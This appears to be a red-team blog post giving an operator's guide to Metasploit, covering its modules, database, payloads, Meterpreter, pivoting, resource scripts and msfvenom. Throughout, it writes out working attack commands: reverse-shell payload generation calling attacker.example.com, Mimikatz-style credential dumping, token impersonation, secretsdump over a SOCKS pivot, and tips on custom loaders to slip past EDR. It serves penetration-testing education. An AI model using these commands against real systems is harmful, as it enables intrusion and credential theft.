Metasploit is the tool everyone in offensive security learns first and then never quite stops using, even after they’ve moved their day-to-day work to Cobalt Strike, Sliver, Mythic, or Havoc. It’s not the stealthiest C2, the most modern post-exploitation framework, or the cleanest codebase you’ll ever read. What it is, twenty-plus years in, is the largest single repository of weaponized public exploits, the most documented pivoting toolchain, and the standard reference for “does this CVE have a working PoC against my target.” For vulnerability validation, internal pivoting, and rapid prototyping of a new exploit chain, it’s still hard to beat.
This post is the working operator’s version: not a tutorial that walks you through eternalblue against a vulnerable VM (there are a hundred of those), but the actual shape of the framework, the parts that are load-bearing in real engagements, and the parts that look beginner-friendly but bite you if you don’t understand what’s happening underneath.
A short history#
HD Moore started Metasploit in 2003 as a Perl-based exploit development toolkit. It was rewritten in Ruby for 3.0 in 2007, which is the design that has carried through to today and is most of why the framework has been as extensible as it has — Ruby’s metaprogramming makes the module system possible.
Rapid7 acquired Metasploit on October 21, 2009 and has been the steward since. For a stretch the framework split into Framework (open source) plus Express (2010–2019), Community (2011–2019), and Pro (commercial, still current); today only Framework and Pro remain. Most red team work uses the open-source side. As of late 2025 it ships with roughly 2,300+ exploits, 1,300+ payloads, 1,200+ auxiliary modules, and 400+ post-exploitation modules — exact counts shift every release; the msfconsole banner shows the current numbers.
It is also worth saying out loud that Metasploit is loud. Every blue team in the industry has years of signatures for default Metasploit payloads, default listener behaviors, and the specific quirks of Meterpreter’s network protocol. If you’re operating against a mature SOC, you should expect your Metasploit-generated payload to land in an alert. The point isn’t that you can’t use it — the point is that you should know when you’re trading stealth for capability.
Architecture: everything is a module#
Metasploit is a module loader with a console glued to it. Every action you take is implemented as a module under one of six categories, each living in its own directory under modules/.
exploit/— code that triggers a specific vulnerability.exploit/windows/smb/ms17_010_eternalblue,exploit/multi/http/struts2_content_type_ognl, and so on. About 2,500 of these.auxiliary/— scanners, brute-forcers, fuzzers, and protocol implementations that don’t ship a shell. Port scanners, SMB enumeration, DNS amplification testing, the SOCKS proxy server. About 1,500.post/— modules that run on an existing session. Hash dumping, credential gathering, persistence, the local exploit suggester. About 400.payload/— the code that runs on the target after exploitation. Shells, Meterpreter variants, command stagers. Around 1,500 across all OS and architecture combinations.encoder/— transforms a payload’s bytes to avoid bad characters (like null bytes or\n). Not an AV bypass, despite a decade of beginner tutorials claiming otherwise.nop/— generators for no-op sleds, mostly relevant in classic stack-buffer exploits.
The taxonomy matters because the console navigates by it. search type:exploit platform:windows cve:2017-0144 is fast; tab completion on use exploit/windows/smb/ shows you everything; and the module hierarchy is the same as the on-disk layout, so you can read the Ruby source directly when something doesn’t behave the way the docs claim.
Initialize the database. Always#
The single highest-leverage thing a new Metasploit user can do is run msfdb init once before they ever open msfconsole. The database (a PostgreSQL backend) is what turns Metasploit from a one-off exploit launcher into something usable across a multi-host, multi-week engagement. Hosts, services, credentials, loot, sessions, and notes all persist to the database. Workspaces let you keep different engagements separate so you don’t accidentally run an exploit against the wrong client.
sudo systemctl start postgresql
sudo msfdb init
msfconsoleOnce you’re in:
# Create and switch into a workspace per engagement
workspace -a Acme_Corp
workspace Acme_Corp
# Pull an Nmap scan straight into the database
db_nmap -sV -p- 10.10.20.0/24
# Or import an existing scan
db_import scan_results.xml
# Query what you have
hosts -c address,os_name,os_flavor
services -p 445 --up
creds
lootThe db_nmap command shells out to a real Nmap binary and parses the output into the database, so you get the full nmap feature set plus persistence. services -p 445 --up is the first thing I run on a new engagement — it gives you the list of SMB-listening hosts to start working through, and it’s already scoped to whichever workspace you’re in.
The credentials store is the part most people don’t appreciate. Every credential Metasploit captures or you import lands in creds and is automatically available to modules that take a USERNAME/PASSWORD pair. A successful psexec against one host populates the credential store; subsequent smb_login runs against the rest of the subnet automatically try the credentials you’ve already collected.
Payloads: staged vs. non-staged#
This is the topic where Metasploit’s naming convention causes the most confusion, and getting it wrong costs you sessions in the field.
The two payload families are distinguished by a single character in the path:
- Staged uses a slash:
windows/x64/meterpreter/reverse_tcp. The exploit drops a tiny stager (a few hundred bytes). The stager connects back to your listener, which sends the rest of the Meterpreter DLL down the same channel, and the stager reflectively loads it. - Non-staged uses an underscore:
windows/x64/meterpreter_reverse_tcp. The full Meterpreter payload is delivered in the initial exploit. No second-stage download.
When to pick which:
| Constraint | Use this |
|---|---|
| Exploit buffer is small (classic stack overflow with limited shellcode space) | Staged. The stager is small enough to fit; the stage downloads after. |
| Network is reliable, payload-size constraint is loose | Non-staged. One TCP connection, no second-stage transfer, much harder for IPS to fingerprint the stage transfer. |
| Operating against a mature SOC with payload-content inspection | Non-staged is usually quieter. The two-stage transfer of the Meterpreter DLL is one of the most-signatured patterns in IDS rules. |
| Connection is unreliable / NAT-flaky | Non-staged. If the second stage gets dropped, a staged payload leaves you with a half-initialized session that crashes immediately. |
| You want HTTP/HTTPS instead of raw TCP | Either works, but the HTTPS variants (reverse_https, reverse_winhttps) handle proxy environments better. |
The default for most exploit modules is staged because it covers the small-buffer case, but for hand-rolled work and listener-only setups (i.e., when you generate a payload with msfvenom and deliver it some other way), non-staged is usually the better default.
Meterpreter#
Meterpreter is the reason most operators tolerate Metasploit’s other quirks. It’s an in-memory, modular post-exploitation payload that runs as a single thread inside the exploited (or migrated-to) process and never touches disk. The wire protocol is a TLV-encoded RPC, so the operator and the implant can negotiate which extensions are loaded at runtime without recompiling.
The extensions worth knowing:
stdapi#
Loaded by default in every Meterpreter session. Filesystem, process listing, networking, registry access, screenshots, keylogging, webcam if you’re feeling theatrical. Everything you’d expect from a basic shell, plus a lot more.
The commands that come up constantly:
sysinfo # OS, arch, hostname, computer/domain
getuid # which user the session is running as
ps # process list
migrate <pid> # move into another process
shell # drop to cmd.exe / sh
upload <local> <remote> # push a file to the target
download <remote> <local> # pull a file off the target
hashdump # dump local SAM (requires SYSTEM)migrate is the one beginners skip and pay for. Whatever process the exploit ran inside is going to die, get patched, or hit AV. Migrate into something stable and uninteresting — explorer.exe, lsass.exe if you’re SYSTEM and don’t mind the noise, spoolsv.exe, a SYSTEM-owned service that doesn’t get restarted. Then the session survives whatever happens to the original process.
kiwi#
The in-process port of Benjamin Delpy’s Mimikatz. Loaded with load kiwi. This is how you dump cleartext credentials, hashes, and Kerberos tickets from lsass.exe without dropping mimikatz.exe to disk.
load kiwi
creds_all # cleartext, hashes, Kerberos, SSP, Wdigest
kerberos_ticket_list # list cached Kerberos tickets
kerberos_ticket_use ticket.kirbi # pass-the-ticket
lsa_dump_sam # SAM hasheskiwi requires SYSTEM. Run getsystem from the priv extension first, or getprivs if you’re already privileged and just need the right token rights. AV catches generic Mimikatz signatures aggressively — kiwi has the same string-level fingerprints in memory, so expect Defender or CrowdStrike to flag this on a managed endpoint.
incognito#
A port of Luke Jennings’ original Incognito tool, which was published by MWR InfoSecurity (now WithSecure Labs) in 2008. Lets you enumerate and impersonate Windows access tokens belonging to other users whose tokens happen to be on the box.
load incognito
list_tokens -u # list all available user tokens
impersonate_token "DOMAIN\\Administrator"The trick that makes this useful: a service running as DOMAIN\Administrator leaves an impersonation-capable token in lsass.exe. If you’re SYSTEM, incognito lets you assume that identity for outbound network access, which is how you laterally move to other machines authenticated as the domain admin without ever needing the password or hash.
priv#
Privilege escalation helpers. getsystem is the main one — it tries three techniques in sequence to escalate from local admin to SYSTEM: named-pipe impersonation via the Service Control Manager (in-memory), the same trick via a dropped DLL (disk-based), and token duplication against an existing SYSTEM service through reflective DLL injection. The default techniques have been signatured for years; getsystem works on unprotected hosts but is one of the most-flagged Meterpreter actions on anything with a modern EDR.
Pivoting#
The biggest practical reason to use Metasploit in 2026 is pivoting. The framework’s autoroute + portfwd + SOCKS combination is more battle-tested than most C2 alternatives, and the integration with the rest of MSF is tight.
Autoroute (Layer 3, for MSF modules only)#
# In msfconsole, with a Meterpreter session on the perimeter host
route add 10.10.20.0/24 1 # route 10.10.20.x through session 1
route printAny subsequent Metasploit module targeting 10.10.20.x — auxiliary/scanner/portscan/tcp, exploit/windows/smb/ms17_010_eternalblue, auxiliary/scanner/smb/smb_login — tunnels through that session automatically. This is the simplest pivot, but it only works for traffic that originates inside Metasploit.
The post/multi/manage/autoroute module does the same thing as route add but is scriptable and respects scope from earlier scans.
Port forwarding (Layer 4, for one specific service)#
When you want to use an external tool (RDP client, browser, nmap outside of MSF) against an internal port:
# Run in the Meterpreter session itself, not the console
portfwd add -l 3389 -p 3389 -r 10.10.20.5Now rdesktop 127.0.0.1:3389 on your attacker box connects to the internal RDP server through the session. portfwd list shows active forwards; portfwd delete -i N removes one.
SOCKS proxy (for everything else)#
For genuinely flexible pivoting — running tools like impacket’s secretsdump.py, nmap with custom flags, anything that supports SOCKS — stand up the framework’s SOCKS server:
use auxiliary/server/socks_proxy
set VERSION 5
set SRVPORT 1080
run -jThen configure /etc/proxychains4.conf to point at socks5 127.0.0.1 1080 and prefix your commands with proxychains4:
proxychains4 nmap -sT -Pn 10.10.20.5
proxychains4 -q impacket-secretsdump 'DOMAIN/user:pass@10.10.20.5'The -q flag silences proxychains’ per-connection logging, which gets noisy fast with anything that opens many connections. SOCKS through Meterpreter is not fast — every connection adds round-trip latency through the session — so plan port scans accordingly.
Resource scripts#
Typing use exploit/multi/handler + set PAYLOAD ... + set LHOST ... + four other lines every time you need a listener is a waste of time, and worse, it’s error-prone in ways that lose you sessions. Resource scripts (.rc files) are how you avoid that.
A working listener script (listener.rc):
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 443
set ExitOnSession false
set AutoRunScript post/windows/manage/migrate
exploit -jRun with msfconsole -r listener.rc and it stands up immediately. ExitOnSession false keeps the handler listening after a session lands (otherwise it dies the moment the first shell arrives). AutoRunScript is the setting that auto-migrates the session into a stable process the instant it connects — this is the difference between landing a session and keeping it.
(Note: the option is AutoRunScript, with capital R. The original Metasploit docs are inconsistent about case; the live spelling is what works.)
A more complete engagement startup script (engagement.rc):
workspace -a Acme_Q3
workspace Acme_Q3
db_nmap -sV --top-ports 1000 10.10.20.0/24
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 443
set ExitOnSession false
set AutoRunScript post/windows/manage/migrate
exploit -jThis sets up the workspace, kicks off an initial scan, and starts the listener in one command. For longer engagements, .rc files are how you make Metasploit reproducible — your post-engagement cleanup, your auto-loot rules, your pivot setup, all of it lives in versioned files instead of shell history.
msfvenom#
msfvenom is the standalone payload generator that replaced msfpayload and msfencode (deprecation announced December 2014, both removed in June 2015). Most of the time you’ll use it for one of two things: generating a payload binary to deliver out-of-band, or transforming an existing payload (format, encoding, bad-character filtering).
Useful incantations:
# Plain Windows executable with a non-staged reverse HTTPS payload
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=attacker.example.com LPORT=443 \
-f exe -o stager.exe
# Raw shellcode for a Nim/Rust/C loader
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o payload.bin
# Avoid bad characters for a stack-overflow exploit
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 \
-b '\x00\x0a\x0d' -f python
# Nim output (added to MSF in 2022)
msfvenom -p windows/x64/exec CMD=calc.exe -f nim-f is the output format (exe, dll, raw, python, c, nim, csharp, vbs, ps1, hta-psh, …). -b is bad characters to avoid. -e is the encoder (use sparingly — encoders are mostly for the bad-character case, not AV evasion).
Encoded msfvenom output is a well-trodden detection path. If you’re delivering a payload to a managed endpoint, expect Defender to flag it. The way operators actually use msfvenom in 2026 is to generate raw shellcode and feed it to a custom loader in another language (Nim, Rust, C#), where the loader does its own obfuscation, in-memory execution, and EDR-aware injection. The shellcode is still Meterpreter; the wrapper is what gets it past the gate.
Closing notes#
Metasploit is older than a lot of the people using it. The framework’s design — module-loader-plus-console — was already a little dated in 2010, and it shows in places (the database integration is fiddly, the help text is inconsistent, the search engine is best-effort). Most of the things people complain about Metasploit not doing well are things modern C2s like Sliver and Mythic explicitly designed around.
But the inertia matters. Metasploit has more public exploit modules than any other tool. The Meterpreter post-exploitation surface is more complete than anything else in the open-source world. The pivoting story (autoroute, portfwd, SOCKS, all integrated with the same session) is still cleaner than what most other frameworks offer. And for the specific task of “I need to verify whether this CVE actually exploits this host,” Metasploit remains the fastest answer.
The pattern I’ve settled on, and the one I’d recommend: use Metasploit for vulnerability validation, internal pivoting, and the initial foothold against unmanaged or under-managed assets. Move to a quieter C2 (Sliver, Mythic, Havoc, Cobalt Strike if you have the budget) for the long-lived agents on actually-monitored hosts. The fact that those two phases use different tools is fine. The fact that Metasploit is loud is fine. The fact that it’s still the most-documented exploit collection on earth is what keeps it on the list.
References#
- Metasploit Unleashed (Offensive Security) — the free official course, still the best Metasploit reference for fundamentals.
- Rapid7 Metasploit Documentation — the maintainer-side documentation; structure is uneven but covers things Unleashed doesn’t.
- Metasploit Framework source on GitHub — read the modules. The Ruby source is the canonical documentation.
- Meterpreter wiki — protocol-level details on how the payload works.
- “A Reflective DLL Injection Library,” Stephen Fewer, 2008 — the technique that underpins how Meterpreter loads itself in memory.
- Mimikatz by Benjamin Delpy
— the source
kiwiis a port of.